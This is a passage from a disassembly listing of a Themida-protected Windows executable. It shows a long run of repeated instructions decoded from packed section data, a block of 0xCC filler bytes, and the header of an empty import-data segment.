[ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc dl, [esi-21h] add edx, [edx] push esi fild word ptr [ebx] adc cl, ah ; --------------------------------------------------------------------------- db 7A0h dup(0CCh) asc_616C4E db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: ___:off_445304o db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллл',0 align 8000h Themida_ ends ; Section 5. (virtual address 00220000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00220000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 620000h dd 80h dup(0) align 1000h _idata2 ends end start